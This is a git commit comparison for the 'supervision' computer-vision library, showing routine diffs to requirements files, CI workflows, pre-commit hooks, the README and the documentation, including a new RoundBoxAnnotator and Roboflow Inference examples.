Compare commits
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
2ba6a22d69 | ||
|
|
3de2efea12 | ||
|
|
f7145aa6aa | ||
|
|
b12d73a883 | ||
|
|
3b531249bc | ||
|
|
624a2e4c10 | ||
|
|
4c063acd2b | ||
|
|
0b805b7a04 | ||
|
|
a8081bec05 | ||
|
|
68df3604ea | ||
|
|
3224032542 | ||
|
|
1005de429c | ||
|
|
1f1edfc8f8 | ||
|
|
338d62b2cb | ||
|
|
17f7949b96 | ||
|
|
5ceb61a185 | ||
|
|
27d6832507 | ||
|
|
8acc0a9ed8 | ||
|
|
97d9472f42 | ||
|
|
f3fa12d169 | ||
|
|
9b5bba1422 | ||
|
|
a337ee591a | ||
|
|
a1da604798 | ||
|
|
1d4c3f3a68 | ||
|
|
a72ad42628 | ||
|
|
be5748c086 | ||
|
|
9e05a545c7 | ||
|
|
f0142344ae | ||
|
|
d596d10b3f | ||
|
|
86134993c8 | ||
|
|
8bab49157d | ||
|
|
bcbd25988d | ||
|
|
24e995933e | ||
|
|
4ae9131f0a | ||
|
|
69894c82af | ||
|
|
e009402934 | ||
|
|
351ef464d9 | ||
|
|
949e326559 | ||
|
|
0a7e116d7f | ||
|
|
5ce65a2fd5 | ||
|
|
73ae555e10 | ||
|
|
98c0b8c2a5 | ||
|
|
7b7a734f2c | ||
|
|
e9ba3ca918 | ||
|
|
4c16af5544 | ||
|
|
893dbe0579 | ||
|
|
3e6c1799ef | ||
|
|
e53c804217 | ||
|
|
6dcd947110 | ||
|
|
13fc3f76f8 | ||
|
|
d83547ec80 | ||
|
|
7e8d44ac35 | ||
|
|
2e9b2a1bcb | ||
|
|
5df9730b3f | ||
|
|
e1ef7aa849 | ||
|
|
77f17a3fde | ||
|
|
030189e45f | ||
|
|
850614739b | ||
|
|
de10b25dc4 | ||
|
|
7cde087ca6 | ||
|
|
8348f5911e | ||
|
|
be57c8872d | ||
|
|
c963a2e85a | ||
|
|
bdaee3f1fc | ||
|
|
c9be7527d6 | ||
|
|
7023bb9bf4 | ||
|
|
a5c0949cd6 | ||
|
|
9862f40ab4 | ||
|
|
1ad9ee1e6a | ||
|
|
5b174ea7ec | ||
|
|
b5f9cdf90e | ||
|
|
0acd408f29 | ||
|
|
26829070f3 | ||
|
|
9c1f06046d | ||
|
|
ace32eecb6 | ||
|
|
53803c77ca | ||
|
|
f86cd5114d | ||
|
|
8a32a9ccb1 | ||
|
|
2e491a85c9 | ||
|
|
9e34cbb31c | ||
|
|
11cd92e4f3 | ||
|
|
1b386a45d5 | ||
|
|
80d1df7509 | ||
|
|
f4d2f2a900 | ||
|
|
0d10704370 | ||
|
|
1001448f5c | ||
|
|
d35f1888f9 | ||
|
|
706ff0fd46 | ||
|
|
8528a8a738 | ||
|
|
e3d92a01c4 | ||
|
|
0f6396669b | ||
|
|
8e40fa8664 | ||
|
|
a10b9840af | ||
|
|
51694819e3 | ||
|
|
ced9f35b6e | ||
|
|
b300c59f78 | ||
|
|
d3cbad4aa1 | ||
|
|
e75e527925 | ||
|
|
5984d3374c | ||
|
|
099d36011d | ||
|
|
50f3de3483 | ||
|
|
ea21a75135 | ||
|
|
955220f25f | ||
|
|
95e2ad6d52 | ||
|
|
db245bbc34 | ||
|
|
9be71da888 | ||
|
|
c2412379c4 | ||
|
|
63ccc98d0b | ||
|
|
14761cb20a | ||
|
|
5dfc2e61e7 | ||
|
|
701b0c0b97 | ||
|
|
27eb823809 | ||
|
|
efed23f64e | ||
|
|
4d955c8531 | ||
|
|
bbc9374f06 | ||
|
|
921256548e | ||
|
|
b68c019fe1 | ||
|
|
055d06b56f | ||
|
|
5274147856 | ||
|
|
2b8c31a481 | ||
|
|
0bd9862f8a | ||
|
|
587ed25f49 | ||
|
|
df6b628a30 | ||
|
|
456ec9a847 | ||
|
|
004bc7e0b3 | ||
|
|
a2dbe9e53a | ||
|
|
fcd6866337 | ||
|
|
7425303382 | ||
|
|
b2d98fe457 | ||
|
|
ea6439b8fd | ||
|
|
f2031d53d6 | ||
|
|
f3f545d893 | ||
|
|
d0c2b145a8 | ||
|
|
db8bdc1965 | ||
|
|
f942d89881 | ||
|
|
404adc30dd | ||
|
|
9ba46fd067 | ||
|
|
054602b4dc | ||
|
|
354895585e | ||
|
|
587a69f00e | ||
|
|
1981de1c80 | ||
|
|
0faf14229c | ||
|
|
f0e7c0c847 | ||
|
|
8bcfefb672 | ||
|
|
d32b490afe | ||
|
|
263d88bf77 | ||
|
|
c18f9bf625 | ||
|
|
670e9c5afc | ||
|
|
e320db492c | ||
|
|
2c833108cc | ||
|
|
678156c1f1 | ||
|
|
e2bb2be9b2 | ||
|
|
362e9f7b43 | ||
|
|
62066c92a8 | ||
|
|
c64bc1cfa0 | ||
|
|
4b728334e7 | ||
|
|
973d26c180 | ||
|
|
38cb7d7249 | ||
|
|
109ff2db6c | ||
|
|
af5861557b | ||
|
|
2f0b10a36d | ||
|
|
5a28378d3c | ||
|
|
c210362389 | ||
|
|
5b7e0bac5a | ||
|
|
2180719183 | ||
|
|
d71cb82a87 | ||
|
|
770d7893c6 | ||
|
|
6ec5c24d7e | ||
|
|
e8df6e6795 | ||
|
|
a967d78021 | ||
|
|
b678d44182 | ||
|
|
697704354a | ||
|
|
5f7ad5f4d3 | ||
|
|
f7a3a408fa | ||
|
|
852eec4c6a | ||
|
|
0b7a376ace | ||
|
|
78a63501bf | ||
|
|
0d424a1e0b | ||
|
|
72f2c986de | ||
|
|
5f11ef4df6 | ||
|
|
64b395ea60 | ||
|
|
bf338eea4a | ||
|
|
87985b2fe2 | ||
|
|
f50976992c | ||
|
|
d68cd95d43 | ||
|
|
bcf7e7b1f7 | ||
|
|
16c382e0cc | ||
|
|
63616b95f7 | ||
|
|
634ab4ff0b | ||
|
|
c43b699113 | ||
|
|
dbf5b67657 | ||
|
|
ed54a57575 | ||
|
|
769c97fa49 | ||
|
|
daf4046fd2 | ||
|
|
18fa772dbb | ||
|
|
41711fe076 | ||
|
|
e0c7c1fbf0 | ||
|
|
bcb26f9edd | ||
|
|
ee697cad3e | ||
|
|
a53e39d097 | ||
|
|
08f7838f1f | ||
|
|
4388f03a51 | ||
|
|
f2334936e6 | ||
|
|
6d3c7f7e1d | ||
|
|
180fdf2168 | ||
|
|
4079188368 | ||
|
|
e42770eedb | ||
|
|
2f6195ad5d | ||
|
|
29a2bb726b | ||
|
|
cec537cb89 | ||
|
|
0ab35b1d88 | ||
|
|
32bf235b39 | ||
|
|
ef292fe2a8 | ||
|
|
1fd248f1ff | ||
|
|
417656f176 | ||
|
|
2335b61d1e | ||
|
|
d7e8a11139 |
@@ -1,27 +0,0 @@
|
||||
attrs==23.1.0
|
||||
certifi==2023.7.22
|
||||
charset-normalizer==2.0.12
|
||||
cycler==0.12.1
|
||||
exceptiongroup==1.1.3
|
||||
fonttools==4.43.1
|
||||
idna==3.4
|
||||
iniconfig==2.0.0
|
||||
kiwisolver==1.4.5
|
||||
matplotlib==3.5.0
|
||||
numpy==1.21.2
|
||||
opencv-python==4.5.5.64
|
||||
packaging==23.2
|
||||
Pillow==10.1.0
|
||||
pluggy==1.3.0
|
||||
pyparsing==3.1.1
|
||||
pytest==7.2.0
|
||||
python-dateutil==2.8.2
|
||||
PyYAML==5.3
|
||||
requests==2.26.0
|
||||
scipy==1.9.0
|
||||
setuptools-scm==8.0.4
|
||||
six==1.16.0
|
||||
tomli==2.0.1
|
||||
tqdm==4.62.3
|
||||
typing_extensions==4.8.0
|
||||
urllib3==1.26.18
|
||||
@@ -1,17 +0,0 @@
|
||||
contourpy==1.1.0 ; python_version >= "3.8" and python_full_version < "3.12.0"
|
||||
cycler==0.11.0 ; python_version >= "3.8" and python_full_version < "3.12.0"
|
||||
fonttools==4.41.1 ; python_version >= "3.8" and python_full_version < "3.12.0"
|
||||
importlib-resources==6.0.0 ; python_version >= "3.8" and python_version < "3.10"
|
||||
kiwisolver==1.4.4 ; python_version >= "3.8" and python_full_version < "3.12.0"
|
||||
matplotlib==3.7.2 ; python_version >= "3.8" and python_full_version < "3.12.0"
|
||||
numpy==1.24.4 ; python_version >= "3.8" and python_version < "3.12"
|
||||
opencv-python-headless==4.8.0.74 ; python_version >= "3.8" and python_full_version < "3.12.0"
|
||||
packaging==23.1 ; python_version >= "3.8" and python_full_version < "3.12.0"
|
||||
pillow==10.0.1 ; python_version >= "3.8" and python_full_version < "3.12.0"
|
||||
pyparsing==3.0.9 ; python_version >= "3.8" and python_full_version < "3.12.0"
|
||||
python-dateutil==2.8.2 ; python_version >= "3.8" and python_full_version < "3.12.0"
|
||||
pyyaml==6.0.1 ; python_version >= "3.8" and python_full_version < "3.12.0"
|
||||
scipy==1.10.1 ; python_version >= "3.8" and python_version < "3.12"
|
||||
six==1.16.0 ; python_version >= "3.8" and python_full_version < "3.12.0"
|
||||
zipp==3.16.2 ; python_version >= "3.8" and python_version < "3.10"
|
||||
pytest==7.4.0 ; python_version >= "3.8" and python_full_version < "3.12.0"
|
||||
@@ -17,7 +17,7 @@ jobs:
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- uses: actions/checkout@v4
|
||||
- uses: actions/setup-python@v4
|
||||
- uses: actions/setup-python@v5
|
||||
with:
|
||||
python-version: 3.x
|
||||
- run: pip install mkdocs-material
|
||||
|
||||
@@ -19,7 +19,7 @@ jobs:
|
||||
uses: actions/checkout@v4
|
||||
|
||||
- name: 🐍 Set up Python 3.8 environment for build
|
||||
uses: actions/setup-python@v4
|
||||
uses: actions/setup-python@v5
|
||||
with:
|
||||
python-version: "3.8"
|
||||
|
||||
|
||||
@@ -21,7 +21,7 @@ jobs:
|
||||
with:
|
||||
ref: ${{ github.head_ref }}
|
||||
- name: 🐍 Set up Python ${{ matrix.python-version }}
|
||||
uses: actions/setup-python@v4
|
||||
uses: actions/setup-python@v5
|
||||
with:
|
||||
python-version: ${{ matrix.python-version }}
|
||||
|
||||
|
||||
@@ -14,19 +14,45 @@ jobs:
|
||||
- name: 🛎️ Checkout
|
||||
uses: actions/checkout@v4
|
||||
- name: 🐍 Set up Python ${{ matrix.python-version }}
|
||||
uses: actions/setup-python@v4
|
||||
uses: actions/setup-python@v5
|
||||
# id based on python version
|
||||
id: python-setup
|
||||
with:
|
||||
python-version: ${{ matrix.python-version }}
|
||||
check-latest: true
|
||||
cache: 'pip'
|
||||
cache-dependency-path: '**/requirements-dev-min.txt'
|
||||
|
||||
- name: 📦 Install dependencies
|
||||
run: |
|
||||
python -m pip install --upgrade pip
|
||||
pip install -r .github/requirements-dev-min.txt
|
||||
pip install \
|
||||
attrs==23.1.0 \
|
||||
certifi==2023.7.22 \
|
||||
charset-normalizer==2.0.12 \
|
||||
cycler==0.12.1 \
|
||||
exceptiongroup==1.1.3 \
|
||||
fonttools==4.43.1 \
|
||||
idna==3.4 \
|
||||
iniconfig==2.0.0 \
|
||||
kiwisolver==1.4.5 \
|
||||
matplotlib==3.5.0 \
|
||||
numpy==1.21.2 \
|
||||
opencv-python==4.5.5.64 \
|
||||
packaging==23.2 \
|
||||
Pillow==10.1.0 \
|
||||
pluggy==1.3.0 \
|
||||
pyparsing==3.1.1 \
|
||||
pytest==7.2.0 \
|
||||
python-dateutil==2.8.2 \
|
||||
PyYAML==5.3 \
|
||||
requests==2.26.0 \
|
||||
scipy==1.9.0 \
|
||||
setuptools-scm==8.0.4 \
|
||||
six==1.16.0 \
|
||||
tomli==2.0.1 \
|
||||
tqdm==4.62.3 \
|
||||
typing_extensions==4.8.0 \
|
||||
urllib3==1.26.18 \
|
||||
defusedxml==0.7.1
|
||||
|
||||
- name: 🧪 Test
|
||||
run: "python -m pytest ./test"
|
||||
|
||||
@@ -9,24 +9,21 @@ jobs:
|
||||
runs-on: ubuntu-latest
|
||||
strategy:
|
||||
matrix:
|
||||
python-version: ["3.8", "3.9", "3.10","3.11"]
|
||||
python-version: ["3.8", "3.9", "3.10", "3.11", "3.12"]
|
||||
steps:
|
||||
- name: 🛎️ Checkout
|
||||
uses: actions/checkout@v4
|
||||
- name: 🐍 Set up Python ${{ matrix.python-version }}
|
||||
uses: actions/setup-python@v4
|
||||
# id based on python version
|
||||
id: python-setup
|
||||
uses: actions/setup-python@v5
|
||||
with:
|
||||
python-version: ${{ matrix.python-version }}
|
||||
check-latest: true
|
||||
cache: 'pip'
|
||||
cache-dependency-path: '**/requirements-dev.txt'
|
||||
|
||||
- name: 📦 Install dependencies
|
||||
run: |
|
||||
python -m pip install --upgrade pip
|
||||
pip install -r .github/requirements-dev.txt
|
||||
pip install .
|
||||
pip install pytest
|
||||
|
||||
- name: 🧪 Test
|
||||
run: "python -m pytest ./test"
|
||||
|
||||
+5
-28
@@ -18,8 +18,6 @@ repos:
|
||||
- id: check-toml
|
||||
- id: check-case-conflict
|
||||
- id: check-added-large-files
|
||||
args: ['--maxkb=2048']
|
||||
exclude: ^logo/
|
||||
- id: detect-private-key
|
||||
- id: forbid-new-submodules
|
||||
- id: pretty-format-json
|
||||
@@ -28,50 +26,29 @@ repos:
|
||||
- id: end-of-file-fixer
|
||||
- id: mixed-line-ending
|
||||
|
||||
# - repo: https://github.com/asottile/pyupgrade
|
||||
# rev: v3.9.0
|
||||
# hooks:
|
||||
# - id: pyupgrade
|
||||
# name: Upgrade code
|
||||
# args: [--py38-plus]
|
||||
|
||||
|
||||
- repo: https://github.com/PyCQA/flake8
|
||||
rev: 6.1.0
|
||||
hooks:
|
||||
- id: flake8
|
||||
name: Flake8 Checks
|
||||
entry: flake8
|
||||
additional_dependencies: [Flake8-pyproject]
|
||||
|
||||
|
||||
- repo: https://github.com/PyCQA/bandit
|
||||
rev: '1.7.5'
|
||||
rev: '1.7.6'
|
||||
hooks:
|
||||
- id: bandit
|
||||
args: ["-c", "pyproject.toml"]
|
||||
additional_dependencies: ["bandit[toml]"]
|
||||
|
||||
- repo: https://github.com/pycqa/isort
|
||||
rev: 5.12.0
|
||||
rev: 5.13.2
|
||||
hooks:
|
||||
- id: isort
|
||||
name: isort (python)
|
||||
- id: isort
|
||||
name: isort (cython)
|
||||
types: [cython]
|
||||
- id: isort
|
||||
name: isort (pyi)
|
||||
types: [pyi]
|
||||
|
||||
|
||||
- repo: https://github.com/psf/black
|
||||
rev: 23.11.0
|
||||
hooks:
|
||||
- id: black
|
||||
|
||||
- repo: https://github.com/astral-sh/ruff-pre-commit
|
||||
rev: v0.1.6
|
||||
rev: v0.1.13
|
||||
hooks:
|
||||
- id: ruff
|
||||
args: [--fix, --exit-non-zero-on-fix]
|
||||
- id: ruff-format
|
||||
types_or: [ python, pyi, jupyter ]
|
||||
|
||||
+1
-2
@@ -76,7 +76,6 @@ All new functions and classes in `supervision` should include docstrings. This i
|
||||
|
||||
So far, **there is no type checking with mypy**. See [issue](https://github.com/roboflow-ai/template-python/issues/4).
|
||||
|
||||
|
||||
Then, go back to your fork of the `supervision` repository, click "Pull Requests", and click "New Pull Request".
|
||||
|
||||

|
||||
@@ -109,7 +108,7 @@ PRs must pass all tests and linting requirements before they can be merged.
|
||||
|
||||
The `supervision` documentation is stored in a folder called `docs`. The project documentation is built using `mkdocs`.
|
||||
|
||||
To run the documentation, install the project requirements with `poetry install dev`. Then, run `mkdocs serve` to start the documentation server.
|
||||
To run the documentation, install the project requirements with `poetry install --with dev`. Then, run `mkdocs serve` to start the documentation server.
|
||||
|
||||
You can learn more about mkdocs on the [mkdocs website](https://www.mkdocs.org/).
|
||||
|
||||
|
||||
@@ -10,17 +10,17 @@
|
||||
|
||||
<br>
|
||||
|
||||
[notebooks](https://github.com/roboflow/notebooks) | [inference](https://github.com/roboflow/inference) | [autodistill](https://github.com/autodistill/autodistill) | [collect](https://github.com/roboflow/roboflow-collect)
|
||||
[notebooks](https://github.com/roboflow/notebooks) | [inference](https://github.com/roboflow/inference) | [autodistill](https://github.com/autodistill/autodistill) | [collect](https://github.com/roboflow/roboflow-collect)
|
||||
|
||||
<br>
|
||||
|
||||
[](https://badge.fury.io/py/supervision)
|
||||
[](https://pypistats.org/packages/supervision)
|
||||
[](https://github.com/roboflow/supervision/blob/main/LICENSE.md)
|
||||
[](https://badge.fury.io/py/supervision)
|
||||
[](https://colab.research.google.com/github/roboflow/supervision/blob/main/demo.ipynb)
|
||||
[](https://huggingface.co/spaces/Roboflow/Annotators)
|
||||
[](https://discord.gg/GbfgXGJ8Bk)
|
||||
[](https://badge.fury.io/py/supervision)
|
||||
[](https://pypistats.org/packages/supervision)
|
||||
[](https://github.com/roboflow/supervision/blob/main/LICENSE.md)
|
||||
[](https://badge.fury.io/py/supervision)
|
||||
[](https://colab.research.google.com/github/roboflow/supervision/blob/main/demo.ipynb)
|
||||
[](https://huggingface.co/spaces/Roboflow/Annotators)
|
||||
[](https://discord.gg/GbfgXGJ8Bk)
|
||||
|
||||
</div>
|
||||
|
||||
@@ -31,7 +31,7 @@
|
||||
## 💻 install
|
||||
|
||||
Pip install the supervision package in a
|
||||
[**3.11>=Python>=3.8**](https://www.python.org/) environment.
|
||||
[**Python>=3.8**](https://www.python.org/) environment.
|
||||
|
||||
```bash
|
||||
pip install supervision
|
||||
@@ -59,6 +59,30 @@ Supervision was designed to be model agnostic. Just plug in any classification,
|
||||
5
|
||||
```
|
||||
|
||||
<details>
|
||||
<summary>👉 more model connectors</summary>
|
||||
|
||||
- inference
|
||||
|
||||
Running with [Inference](https://github.com/roboflow/inference) requires a [Roboflow API KEY](https://docs.roboflow.com/api-reference/authentication#retrieve-an-api-key).
|
||||
|
||||
```python
|
||||
>>> import cv2
|
||||
>>> import supervision as sv
|
||||
>>> from inference.models.utils import get_roboflow_model
|
||||
|
||||
>>> image = cv2.imread(...)
|
||||
>>> model = get_roboflow_model(model_id="yolov8s-640", api_key=<ROBOFLOW API KEY>)
|
||||
>>> result = model.infer(image)[0]
|
||||
>>> detections = sv.Detections.from_inference(result)
|
||||
|
||||
>>> len(detections)
|
||||
>>> 5
|
||||
|
||||
```
|
||||
|
||||
</details>
|
||||
|
||||
### annotators
|
||||
|
||||
Supervision offers a wide range of highly customizable [annotators](https://supervision.roboflow.com/annotators/), allowing you to compose the perfect visualization for your use case.
|
||||
@@ -104,106 +128,106 @@ Supervision provides a set of [utils](https://supervision.roboflow.com/datasets/
|
||||
|
||||
- load
|
||||
|
||||
```python
|
||||
>>> dataset = sv.DetectionDataset.from_yolo(
|
||||
... images_directory_path=...,
|
||||
... annotations_directory_path=...,
|
||||
... data_yaml_path=...
|
||||
... )
|
||||
```python
|
||||
>>> dataset = sv.DetectionDataset.from_yolo(
|
||||
... images_directory_path=...,
|
||||
... annotations_directory_path=...,
|
||||
... data_yaml_path=...
|
||||
... )
|
||||
|
||||
>>> dataset = sv.DetectionDataset.from_pascal_voc(
|
||||
... images_directory_path=...,
|
||||
... annotations_directory_path=...
|
||||
... )
|
||||
>>> dataset = sv.DetectionDataset.from_pascal_voc(
|
||||
... images_directory_path=...,
|
||||
... annotations_directory_path=...
|
||||
... )
|
||||
|
||||
>>> dataset = sv.DetectionDataset.from_coco(
|
||||
... images_directory_path=...,
|
||||
... annotations_path=...
|
||||
... )
|
||||
```
|
||||
>>> dataset = sv.DetectionDataset.from_coco(
|
||||
... images_directory_path=...,
|
||||
... annotations_path=...
|
||||
... )
|
||||
```
|
||||
|
||||
- split
|
||||
|
||||
```python
|
||||
>>> train_dataset, test_dataset = dataset.split(split_ratio=0.7)
|
||||
>>> test_dataset, valid_dataset = test_dataset.split(split_ratio=0.5)
|
||||
```python
|
||||
>>> train_dataset, test_dataset = dataset.split(split_ratio=0.7)
|
||||
>>> test_dataset, valid_dataset = test_dataset.split(split_ratio=0.5)
|
||||
|
||||
>>> len(train_dataset), len(test_dataset), len(valid_dataset)
|
||||
(700, 150, 150)
|
||||
```
|
||||
>>> len(train_dataset), len(test_dataset), len(valid_dataset)
|
||||
(700, 150, 150)
|
||||
```
|
||||
|
||||
- merge
|
||||
|
||||
```python
|
||||
>>> ds_1 = sv.DetectionDataset(...)
|
||||
>>> len(ds_1)
|
||||
100
|
||||
>>> ds_1.classes
|
||||
['dog', 'person']
|
||||
```python
|
||||
>>> ds_1 = sv.DetectionDataset(...)
|
||||
>>> len(ds_1)
|
||||
100
|
||||
>>> ds_1.classes
|
||||
['dog', 'person']
|
||||
|
||||
>>> ds_2 = sv.DetectionDataset(...)
|
||||
>>> len(ds_2)
|
||||
200
|
||||
>>> ds_2.classes
|
||||
['cat']
|
||||
>>> ds_2 = sv.DetectionDataset(...)
|
||||
>>> len(ds_2)
|
||||
200
|
||||
>>> ds_2.classes
|
||||
['cat']
|
||||
|
||||
>>> ds_merged = sv.DetectionDataset.merge([ds_1, ds_2])
|
||||
>>> len(ds_merged)
|
||||
300
|
||||
>>> ds_merged.classes
|
||||
['cat', 'dog', 'person']
|
||||
```
|
||||
>>> ds_merged = sv.DetectionDataset.merge([ds_1, ds_2])
|
||||
>>> len(ds_merged)
|
||||
300
|
||||
>>> ds_merged.classes
|
||||
['cat', 'dog', 'person']
|
||||
```
|
||||
|
||||
- save
|
||||
|
||||
```python
|
||||
>>> dataset.as_yolo(
|
||||
... images_directory_path=...,
|
||||
... annotations_directory_path=...,
|
||||
... data_yaml_path=...
|
||||
... )
|
||||
```python
|
||||
>>> dataset.as_yolo(
|
||||
... images_directory_path=...,
|
||||
... annotations_directory_path=...,
|
||||
... data_yaml_path=...
|
||||
... )
|
||||
|
||||
>>> dataset.as_pascal_voc(
|
||||
... images_directory_path=...,
|
||||
... annotations_directory_path=...
|
||||
... )
|
||||
>>> dataset.as_pascal_voc(
|
||||
... images_directory_path=...,
|
||||
... annotations_directory_path=...
|
||||
... )
|
||||
|
||||
>>> dataset.as_coco(
|
||||
... images_directory_path=...,
|
||||
... annotations_path=...
|
||||
... )
|
||||
```
|
||||
>>> dataset.as_coco(
|
||||
... images_directory_path=...,
|
||||
... annotations_path=...
|
||||
... )
|
||||
```
|
||||
|
||||
- convert
|
||||
|
||||
```python
|
||||
>>> sv.DetectionDataset.from_yolo(
|
||||
... images_directory_path=...,
|
||||
... annotations_directory_path=...,
|
||||
... data_yaml_path=...
|
||||
... ).as_pascal_voc(
|
||||
... images_directory_path=...,
|
||||
... annotations_directory_path=...
|
||||
... )
|
||||
```
|
||||
```python
|
||||
>>> sv.DetectionDataset.from_yolo(
|
||||
... images_directory_path=...,
|
||||
... annotations_directory_path=...,
|
||||
... data_yaml_path=...
|
||||
... ).as_pascal_voc(
|
||||
... images_directory_path=...,
|
||||
... annotations_directory_path=...
|
||||
... )
|
||||
```
|
||||
|
||||
</details>
|
||||
|
||||
## 🎬 tutorials
|
||||
|
||||
<p align="left">
|
||||
<a href="https://youtu.be/4Q3ut7vqD5o" title="Traffic Analysis with YOLOv8 and ByteTrack - Vehicle Detection and Tracking"><img src="https://github.com/roboflow/supervision/assets/26109316/54afdf1c-218c-4451-8f12-627fb85f1682" alt="Traffic Analysis with YOLOv8 and ByteTrack - Vehicle Detection and Tracking" width="300px" align="left" /></a>
|
||||
<a href="https://youtu.be/4Q3ut7vqD5o" title="Traffic Analysis with YOLOv8 and ByteTrack - Vehicle Detection and Tracking"><strong>Traffic Analysis with YOLOv8 and ByteTrack - Vehicle Detection and Tracking</strong></a>
|
||||
<div><strong>Created: 6 Sep 2023</strong> | <strong>Updated: 6 Sep 2023</strong></div>
|
||||
<br/> In this video, we explore real-time traffic analysis using YOLOv8 and ByteTrack to detect and track vehicles on aerial images. Harnessing the power of Python and Supervision, we delve deep into assigning cars to specific entry zones and understanding their direction of movement. By visualizing their paths, we gain insights into traffic flow across bustling roundabouts... </p>
|
||||
<a href="https://youtu.be/uWP6UjDeZvY" title="Speed Estimation & Vehicle Tracking | Computer Vision | Open Source"><img src="https://github.com/SkalskiP/SkalskiP/assets/26109316/61a444c8-b135-48ce-b979-2a5ab47c5a91" alt="Speed Estimation & Vehicle Tracking | Computer Vision | Open Source" width="300px" align="left" /></a>
|
||||
<a href="https://youtu.be/uWP6UjDeZvY" title="Speed Estimation & Vehicle Tracking | Computer Vision | Open Source"><strong>Speed Estimation & Vehicle Tracking | Computer Vision | Open Source</strong></a>
|
||||
<div><strong>Created: 11 Jan 2024</strong> | <strong>Updated: 11 Jan 2024</strong></div>
|
||||
<br/> Learn how to track and estimate the speed of vehicles using YOLO, ByteTrack, and Roboflow Inference. This comprehensive tutorial covers object detection, multi-object tracking, filtering detections, perspective transformation, speed estimation, visualization improvements, and more.</p>
|
||||
|
||||
<br/>
|
||||
|
||||
<p align="left">
|
||||
<a href="https://youtu.be/D-D6ZmadzPE" title="SAM - Segment Anything Model by Meta AI: Complete Guide"><img src="https://github.com/SkalskiP/SkalskiP/assets/26109316/6913ff11-53c6-4341-8d90-eaff3023c3fd" alt="SAM - Segment Anything Model by Meta AI: Complete Guide" width="300px" align="left" /></a>
|
||||
<a href="https://youtu.be/D-D6ZmadzPE" title="SAM - Segment Anything Model by Meta AI: Complete Guide"><strong>SAM - Segment Anything Model by Meta AI: Complete Guide</strong></a>
|
||||
<div><strong>Created: 11 Apr 2023</strong> | <strong>Updated: 11 Apr 2023</strong></div>
|
||||
<br/> Discover the incredible potential of Meta AI's Segment Anything Model (SAM)! We dive into SAM, an efficient and promptable model for image segmentation, which has revolutionized computer vision tasks. With over 1 billion masks on 11M licensed and privacy-respecting images, SAM's zero-shot performance is often competitive with or even superior to prior fully supervised results... </p>
|
||||
<a href="https://youtu.be/4Q3ut7vqD5o" title="Traffic Analysis with YOLOv8 and ByteTrack - Vehicle Detection and Tracking"><img src="https://github.com/roboflow/supervision/assets/26109316/54afdf1c-218c-4451-8f12-627fb85f1682" alt="Traffic Analysis with YOLOv8 and ByteTrack - Vehicle Detection and Tracking" width="300px" align="left" /></a>
|
||||
<a href="https://youtu.be/4Q3ut7vqD5o" title="Traffic Analysis with YOLOv8 and ByteTrack - Vehicle Detection and Tracking"><strong>Traffic Analysis with YOLOv8 and ByteTrack - Vehicle Detection and Tracking</strong></a>
|
||||
<div><strong>Created: 6 Sep 2023</strong> | <strong>Updated: 6 Sep 2023</strong></div>
|
||||
<br/> In this video, we explore real-time traffic analysis using YOLOv8 and ByteTrack to detect and track vehicles on aerial images. Harnessing the power of Python and Supervision, we delve deep into assigning cars to specific entry zones and understanding their direction of movement. By visualizing their paths, we gain insights into traffic flow across bustling roundabouts... </p>
|
||||
|
||||
## 💜 built with supervision
|
||||
|
||||
@@ -213,6 +237,8 @@ https://user-images.githubusercontent.com/26109316/207858600-ee862b22-0353-440b-
|
||||
|
||||
https://github.com/roboflow/supervision/assets/26109316/c9436828-9fbf-4c25-ae8c-60e9c81b3900
|
||||
|
||||
https://github.com/roboflow/supervision/assets/26109316/f84db7b5-79e2-4142-a1da-64daa43ce667
|
||||
|
||||
## 📚 documentation
|
||||
|
||||
Visit our [documentation](https://roboflow.github.io/supervision) page to learn how supervision can help you build computer vision applications faster and more reliably.
|
||||
|
||||
Vendored
+1340
-1322
File diff suppressed because one or more lines are too long
@@ -19,6 +19,27 @@
|
||||
|
||||
</div>
|
||||
|
||||
=== "RoundBox"
|
||||
|
||||
```python
|
||||
>>> import supervision as sv
|
||||
|
||||
>>> image = ...
|
||||
>>> detections = sv.Detections(...)
|
||||
|
||||
>>> round_box_annotator = sv.RoundBoxAnnotator()
|
||||
>>> annotated_frame = round_box_annotator.annotate(
|
||||
... scene=image.copy(),
|
||||
... detections=detections
|
||||
... )
|
||||
```
|
||||
|
||||
<div class="result" markdown>
|
||||
|
||||
{ align=center width="800" }
|
||||
|
||||
</div>
|
||||
|
||||
=== "BoxCorner"
|
||||
|
||||
```python
|
||||
@@ -391,6 +412,10 @@
|
||||
|
||||
:::supervision.annotators.core.TraceAnnotator
|
||||
|
||||
## RoundBoxAnnotator
|
||||
|
||||
:::supervision.annotators.core.RoundBoxAnnotator
|
||||
|
||||
## ColorLookup
|
||||
|
||||
:::supervision.annotators.utils.ColorLookup
|
||||
|
||||
@@ -1,71 +1,132 @@
|
||||
With Supervision, you can easily [annotate](https://supervision.roboflow.com/annotators/) predictions obtained from a variety of object detection and segmentation models. This document outlines how to run inference using the [Ultralytics](https://github.com/ultralytics/ultralytics) YOLOv8 model, load these predictions into Supervision, and annotate the image.
|
||||
Supervision offers a streamlined solution to effortlessly annotate predictions from a
|
||||
range of object detection and segmentation models. This guide demonstrates how to
|
||||
execute inference using the YOLOv8 model with either the
|
||||
[Inference](https://github.com/roboflow/inference) or
|
||||
[Ultralytics](https://github.com/ultralytics/ultralytics) packages. Following this,
|
||||
you'll learn how to import these predictions into Supervision for image annotation
|
||||
purposes.
|
||||
|
||||
## Run Inference
|
||||
|
||||
First, you'll need to obtain predictions from your object detection or segmentation model.
|
||||
```python
|
||||
import cv2
|
||||
from ultralytics import YOLO
|
||||
|
||||
model = YOLO("yolov8n.pt")
|
||||
image = cv2.imread("image.jpg")
|
||||
results = model(image)[0]
|
||||
```
|
||||
=== "Ultralytics"
|
||||
|
||||
```python
|
||||
import cv2
|
||||
from ultralytics import YOLO
|
||||
|
||||
model = YOLO("yolov8n.pt")
|
||||
image = cv2.imread(<PATH TO IMAGE>)
|
||||
results = model(image)[0]
|
||||
```
|
||||
|
||||
=== "Inference"
|
||||
|
||||
```python
|
||||
import cv2
|
||||
from inference.models.utils import get_roboflow_model
|
||||
|
||||
model = get_roboflow_model(model_id="yolov8n-640", api_key=<ROBOFLOW API KEY>)
|
||||
image = cv2.imread(<PATH TO IMAGE>)
|
||||
results = model.infer(image)[0]
|
||||
```
|
||||
|
||||
## Load Predictions into Supervision
|
||||
|
||||
